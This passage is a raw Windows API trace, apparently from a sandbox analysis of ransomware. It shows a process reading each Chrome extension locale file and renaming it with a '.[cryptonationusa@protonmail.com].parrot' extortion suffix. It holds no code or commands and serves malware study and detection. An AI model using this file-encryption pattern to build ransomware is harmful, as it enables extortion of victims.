lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.900] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.900] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x315, lpOverlapped=0x0) returned 1 [0072.901] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.901] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.901] CloseHandle (hObject=0x28c) returned 1 [0072.901] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.904] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f029a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f029a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8286d760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f029a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.905] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82874c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82874c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.906] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.906] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.906] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.907] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.907] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2d0, lpOverlapped=0x0) returned 1 [0072.908] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.908] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.908] CloseHandle (hObject=0x28c) returned 1 [0072.909] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.911] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.912] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f029a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f029a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82874c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f029a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.913] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.913] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8287e8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.913] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.913] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8287e8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.913] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36b, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.913] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.913] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.915] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.915] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x253, lpOverlapped=0x0) returned 1 [0072.916] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.916] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.916] CloseHandle (hObject=0x28c) returned 1 [0072.917] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.919] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.919] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f28b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.920] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8287e8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x378, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.920] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.921] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.921] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.921] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.921] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.921] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82885e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.921] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x398, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.921] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.921] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.922] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.923] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x280, lpOverlapped=0x0) returned 1 [0072.923] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.923] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x398, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.924] CloseHandle (hObject=0x28c) returned 1 [0072.924] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.927] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.927] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f28b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82885e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.928] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8a8c060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8a8c060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ab21c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ab21c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ab21c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ad8320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ad8320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ad8320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ad8320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8afe480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8afe480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8afe480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8afe480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8b245e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8b245e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8b245e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8b245e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, 